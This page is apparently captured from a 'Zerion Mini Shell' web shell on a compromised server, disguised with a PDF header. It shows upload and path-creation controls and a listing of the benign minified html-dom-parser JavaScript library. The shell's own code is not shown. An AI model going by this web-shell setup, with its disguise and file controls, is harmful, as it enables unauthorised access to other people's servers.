%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/var/www/html/node_modules/html-dom-parser/dist/
Upload File :
Create Path :
Current File : //proc/self/root/var/www/html/node_modules/html-dom-parser/dist/html-dom-parser.min.js

!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).HTMLDOMParser=t()}(this,(function(){"use strict";var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},t="html",n="head",r="body",o=/<([a-zA-Z]+[0-9]?)/,i=/<head[^]*>/i,a=/<body[^]*>/i,u=function(){throw new Error("This browser does not support `document.implementation.createHTMLDocument`")},l=function(){throw new Error("This browser does not support `DOMParser.prototype.parseFromString`")};if("function"==typeof window.DOMParser){var c=new window.DOMParser;l=function(e,t){return t&&(e="<"+t+">"+e+"</"+t+">"),c.parseFromString(e,"text/html")},u=l}if(document.implementation){var s=document.implementation.createHTMLDocument();u=function(e,t){return t?(s.documentElement.querySelector(t).innerHTML=e,s):(s.documentElement.innerHTML=e,s)}}var p,d=document.createElement("template");d.content&&(p=function(e){return d.innerHTML=e,d.content.childNodes});var f=function(e){var c,s,d,f,h=e.match(o);switch(h&&h[1]&&(c=h[1].toLowerCase()),c){case t:return s=l(e),i.test(e)||(d=s.querySelector(n))&&d.parentNode.removeChild(d),a.test(e)||(d=s.querySelector(r))&&d.parentNode.removeChild(d),s.querySelectorAll(t);case n:case r:return f=(s=u(e)).querySelectorAll(c),a.test(e)&&i.test(e)?f[0].parentNode.childNodes:f;default:return p?p(e):(d=u(e,r).querySelector(r)).childNodes}},h={},m={},y={};!function(e){var t;Object.defineProperty(e,"__esModule",{value:!0}),e.Doctype=e.CDATA=e.Tag=e.Style=e.Script=e.Comment=e.Directive=e.Text=e.Root=e.isTag=e.ElementType=void 0,function(e){e.Root="root",e.Text="text",e.Directive="directive",e.Comment="comment",e.Script="script",e.Style="style",e.Tag="tag",e.CDATA="cdata",e.Doctype="doctype"}(t=e.ElementType||(e.ElementType={})),e.isTag=function(e){return e.type===t.Tag||e.type===t.Script||e.type===t.Style},e.Root=t.Root,e.Text=t.Text,e.Directive=t.Directive,e.Comment=t.Comment,e.Script=t.Script,e.Style=t.Style,e.Tag=t.Tag,e.CDATA=t.CDATA,e.Doctype=t.Doctype}(y);var b,v={},g=e&&e.__extends||(b=function(e,t){return b=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},b(e,t)},function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}b(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}),T=e&&e.__assign||function(){return T=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},T.apply(this,arguments)};Object.defineProperty(v,"__esModule",{value:!0}),v.cloneNode=v.hasChildren=v.isDocument=v.isDirective=v.isComment=v.isText=v.isCDATA=v.isTag=v.Element=v.Document=v.CDATA=v.NodeWithChildren=v.ProcessingInstruction=v.Comment=v.Text=v.DataNode=v.Node=void 0;var x=y,w=function(){function e(){this.parent=null,this.prev=null,this.next=null,this.startIndex=null,this.endIndex=null}return Object.defineProperty(e.prototype,"parentNode",{get:function(){return this.parent},set:function(e){this.parent=e},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"previousSibling",{get:function(){return this.prev},set:function(e){this.prev=e},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"nextSibling",{get:function(){return this.next},set:function(e){this.next=e},enumerable:!1,configurable:!0}),e.prototype.cloneNode=function(e){return void 0===e&&(e=!1),F(this,e)},e}();v.Node=w;var C=function(e){function t(t){var n=e.call(this)||this;return n.data=t,n}return g(t,e),Object.defineProperty(t.prototype,"nodeValue",{get:function(){return this.data},set:function(e){this.data=e},enumerable:!1,configurable:!0}),t}(w);v.DataNode=C;var N=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=x.ElementType.Text,t}return g(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 3},enumerable:!1,configurable:!0}),t}(C);v.Text=N;var E=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=x.ElementType.Comment,t}return g(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 8},enumerable:!1,configurable:!0}),t}(C);v.Comment=E;var D=function(e){function t(t,n){var r=e.call(this,n)||this;return r.name=t,r.type=x.ElementType.Directive,r}return g(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),t}(C);v.ProcessingInstruction=D;var O=function(e){function t(t){var n=e.call(this)||this;return n.children=t,n}return g(t,e),Object.defineProperty(t.prototype,"firstChild",{get:function(){var e;return null!==(e=this.children[0])&&void 0!==e?e:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"lastChild",{get:function(){return this.children.length>0?this.children[this.children.length-1]:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"childNodes",{get:function(){return this.children},set:function(e){this.children=e},enumerable:!1,configurable:!0}),t}(w);v.NodeWithChildren=O;var S=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=x.ElementType.CDATA,t}return g(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 4},enumerable:!1,configurable:!0}),t}(O);v.CDATA=S;var P=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.type=x.ElementType.Root,t}return g(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 9},enumerable:!1,configurable:!0}),t}(O);v.Document=P;var A=function(e){function t(t,n,r,o){void 0===r&&(r=[]),void 0===o&&(o="script"===t?x.ElementType.Script:"style"===t?x.ElementType.Style:x.ElementType.Tag);var i=e.call(this,r)||this;return i.name=t,i.attribs=n,i.type=o,i}return g(t,e),Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"tagName",{get:function(){return this.name},set:function(e){this.name=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"attributes",{get:function(){var e=this;return Object.keys(this.attribs).map((function(t){var n,r;return{name:t,value:e.attribs[t],namespace:null===(n=e["x-attribsNamespace"])||void 0===n?void 0:n[t],prefix:null===(r=e["x-attribsPrefix"])||void 0===r?void 0:r[t]}}))},enumerable:!1,configurable:!0}),t}(O);function I(e){return(0,x.isTag)(e)}function j(e){return e.type===x.ElementType.CDATA}function _(e){return e.type===x.ElementType.Text}function M(e){return e.type===x.ElementType.Comment}function L(e){return e.type===x.ElementType.Directive}function k(e){return e.type===x.ElementType.Root}function F(e,t){var n;if(void 0===t&&(t=!1),_(e))n=new N(e.data);else if(M(e))n=new E(e.data);else if(I(e)){var r=t?H(e.children):[],o=new A(e.name,T({},e.attribs),r);r.forEach((function(e){return e.parent=o})),null!=e.namespace&&(o.namespace=e.namespace),e["x-attribsNamespace"]&&(o["x-attribsNamespace"]=T({},e["x-attribsNamespace"])),e["x-attribsPrefix"]&&(o["x-attribsPrefix"]=T({},e["x-attribsPrefix"])),n=o}else if(j(e)){r=t?H(e.children):[];var i=new S(r);r.forEach((function(e){return e.parent=i})),n=i}else if(k(e)){r=t?H(e.children):[];var a=new P(r);r.forEach((function(e){return e.parent=a})),e["x-mode"]&&(a["x-mode"]=e["x-mode"]),n=a}else{if(!L(e))throw new Error("Not implemented yet: ".concat(e.type));var u=new D(e.name,e.data);null!=e["x-name"]&&(u["x-name"]=e["x-name"],u["x-publicId"]=e["x-publicId"],u["x-systemId"]=e["x-systemId"]),n=u}return n.startIndex=e.startIndex,n.endIndex=e.endIndex,null!=e.sourceCodeLocation&&(n.sourceCodeLocation=e.sourceCodeLocation),n}function H(e){for(var t=e.map((function(e){return F(e,!0)})),n=1;n<t.length;n++)t[n].prev=t[n-1],t[n-1].next=t[n];return t}v.Element=A,v.isTag=I,v.isCDATA=j,v.isText=_,v.isComment=M,v.isDirective=L,v.isDocument=k,v.hasChildren=function(e){return Object.prototype.hasOwnProperty.call(e,"children")},v.cloneNode=F,function(t){var n=e&&e.__createBinding||(Object.create?function(e,t,n,r){void 0===r&&(r=n);var o=Object.getOwnPropertyDescriptor(t,n);o&&!("get"in o?!t.__esModule:o.writable||o.configurable)||(o={enumerable:!0,get:function(){return t[n]}}),Object.defineProperty(e,r,o)}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),r=e&&e.__exportStar||function(e,t){for(var r in e)"default"===r||Object.prototype.hasOwnProperty.call(t,r)||n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0}),t.DomHandler=void 0;var o=y,i=v;r(v,t);var a={withStartIndices:!1,withEndIndices:!1,xmlMode:!1},u=function(){function e(e,t,n){this.dom=[],this.root=new i.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null,"function"==typeof t&&(n=t,t=a),"object"==typeof e&&(t=e,e=void 0),this.callback=null!=e?e:null,this.options=null!=t?t:a,this.elementCB=null!=n?n:null}return e.prototype.onparserinit=function(e){this.parser=e},e.prototype.onreset=function(){this.dom=[],this.root=new i.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null},e.prototype.onend=function(){this.done||(this.done=!0,this.parser=null,this.handleCallback(null))},e.prototype.onerror=function(e){this.handleCallback(e)},e.prototype.onclosetag=function(){this.lastNode=null;var e=this.tagStack.pop();this.options.withEndIndices&&(e.endIndex=this.parser.endIndex),this.elementCB&&this.elementCB(e)},e.prototype.onopentag=function(e,t){var n=this.options.xmlMode?o.ElementType.Tag:void 0,r=new i.Element(e,t,void 0,n);this.addNode(r),this.tagStack.push(r)},e.prototype.ontext=function(e){var t=this.lastNode;if(t&&t.type===o.ElementType.Text)t.data+=e,this.options.withEndIndices&&(t.endIndex=this.parser.endIndex);else{var n=new i.Text(e);this.addNode(n),this.lastNode=n}},e.prototype.oncomment=function(e){if(this.lastNode&&this.lastNode.type===o.ElementType.Comment)this.lastNode.data+=e;else{var t=new i.Comment(e);this.addNode(t),this.lastNode=t}},e.prototype.oncommentend=function(){this.lastNode=null},e.prototype.oncdatastart=function(){var e=new i.Text(""),t=new i.CDATA([e]);this.addNode(t),e.parent=t,this.lastNode=e},e.prototype.oncdataend=function(){this.lastNode=null},e.prototype.onprocessinginstruction=function(e,t){var n=new i.ProcessingInstruction(e,t);this.addNode(n)},e.prototype.handleCallback=function(e){if("function"==typeof this.callback)this.callback(e,this.dom);else if(e)throw e},e.prototype.addNode=function(e){var t=this.tagStack[this.tagStack.length-1],n=t.children[t.children.length-1];this.options.withStartIndices&&(e.startIndex=this.parser.startIndex),this.options.withEndIndices&&(e.endIndex=this.parser.endIndex),t.children.push(e),n&&(e.prev=n,n.next=e),e.parent=t,this.lastNode=null},e}();t.DomHandler=u,t.default=u}(m);for(var B,R={CASE_SENSITIVE_TAG_NAMES:["animateMotion","animateTransform","clipPath","feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussainBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence","foreignObject","linearGradient","radialGradient","textPath"]},q=m,G=R.CASE_SENSITIVE_TAG_NAMES,V=q.Comment,z=q.Element,W=q.ProcessingInstruction,Z=q.Text,J={},K=0,Q=G.length;K<Q;K++)B=G[K],J[B.toLowerCase()]=B;function U(e){for(var t,n={},r=0,o=e.length;r<o;r++)n[(t=e[r]).name]=t.value;return n}function X(e){var t=function(e){return J[e]}(e=e.toLowerCase());return t||e}h.formatAttributes=U,h.formatDOM=function e(t,n,r){n=n||null;for(var o=[],i=0,a=t.length;i<a;i++){var u,l=t[i];switch(l.nodeType){case 1:(u=new z(X(l.nodeName),U(l.attributes))).children=e(l.childNodes,u);break;case 3:u=new Z(l.nodeValue);break;case 8:u=new V(l.nodeValue);break;default:continue}var c=o[i-1]||null;c&&(c.next=u),u.parent=n,u.prev=c,u.next=null,o.push(u)}return r&&((u=new W(r.substring(0,r.indexOf(" ")).toLowerCase(),r)).next=o[0]||null,u.parent=n,o.unshift(u),o[1]&&(o[1].prev=o[0])),o};var Y=f,$=h.formatDOM,ee=/<(![a-zA-Z\s]+)>/;return function(e){if("string"!=typeof e)throw new TypeError("First argument must be a string");if(""===e)return[];var t,n=e.match(ee);return n&&n[1]&&(t=n[1]),$(Y(e),null,t)}}));
//# sourceMappingURL=html-dom-parser.min.js.map

Zerion Mini Shell 1.0